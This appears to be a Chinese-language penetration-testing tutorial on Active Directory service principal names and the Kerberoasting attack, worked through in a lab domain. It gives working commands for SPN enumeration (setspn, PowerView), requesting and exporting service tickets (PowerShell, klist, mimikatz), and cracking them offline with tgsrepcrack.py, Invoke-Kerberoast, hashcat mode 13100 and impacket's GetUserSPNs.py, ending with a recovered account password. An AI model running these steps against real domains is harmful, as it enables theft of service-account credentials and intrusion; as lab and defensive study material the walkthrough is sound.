SPN简介

SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN
SPN分为两种

  1. 注册在AD上机器帐户(Computers)下
  2. 注册在域用户帐户(Users)下

当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下
当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

SPN格式

/:/
必选参数:标识服务类的字符串常常有www,ldap,smtp,dns等:服务所在主机名称:服务端口:服务名称
使用Windows内置的Setspn工具可以读取、修改和删除SPN目录属性。
这里注册了 Setspn.exe -A MSSQLSvc/dc1.ninitom.cn:1433 web MSSQLSvc的spn,将分配给web这个账户
image.png

SPN查询

spn查询实际上是通过ldap协议查询的,那么当前用户必须是域用户或者是机器账户。
setspn -q /
setspn -T test.local -q /
image.png
CN=Users的是域账户注册的SPN,CN=Computers是机器账户。

SPN扫描

在攻击的过程中可以通过spn来获取想要的信息,获取域内主机安装了哪些服务,不需要去扫描大量的端口。相对端口扫描的隐蔽性更高。

powerview.ps1

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Import-module .\powerview.ps1
Get-NetUser -SPN
image.png

使用powershell模块Active Directory(域控默认安装)

import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

image.png
域内的主机都是可以查询spn,任何一个域用户都是可以去申请TGS票据,而我们爆破的话应该选择域用户进行爆破,因为机器用户的口令无法远程连接

Kerberoasting攻击

在KRB——TGS——REP中,TGS_会返回给Client一张票据ST,而ST是由Client请求的Server端密码进行加密的。当Kerberos协议设置票据为RC4加密时,我们就可以通过爆破再Client端获取的票据ST,从而获得Server端的密码。kerberos的加密方式可以通过,在域控服务器的“本地安全策略”中进行修改
运行 —》 secpol.msc —》 安全设置 —》 本地策略 —》 安全选项 —》 网络安全:配置Kerberos 运行的加密类型
https://github.com/nidem/kerberoast

kerberosting攻击方式

那么Kerberoasting思路如下:

  1. 查询SPN寻找在Users下并且是高权限域用户的服务
  2. 请求并导出TGS
  3. 获取到TGS进行暴力

在域内主机n001中通过 Kerberoast 中的 GetUserSPNs.vbs 进行 SPN 扫描。
cscript GetUserSPNs.vbs
image.png
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “MSSQLSvc/web.ninitom.cn:1433”
image.png

查看缓存的票据

klist
image.png
这时候可以看到已经缓存内存重了,我们可以通过mimikatz导出,
这时候需要注意,如果是运行时候不是管理员在运行mimikatz不需要debug
image.png
image.png
python38.exe .\tgsrepcrack.py .\password.txt “1-40810000-n001@MSSQLSvc~web.ninitom.cn~1433-NINITOM.CN.kirbi”
获取到web的密码为Admin@123
image.png

攻击方式2

使用 Invoke-Kerberoast 脚本 (这里使用的是 Empire 中的 Invoke-Kerberoast.ps1)。
Import-module Invoke-Kerberoast.ps1
Invoke-kerberoast -outputformat hashcat |fl

hashcat64.exe –m 13100 test1.txt password.list —force

https://github.com/SecureAuthCorp/impacket
python GetUserSPNs.py -request -dc-ip x.x.x.x 域名称/域用户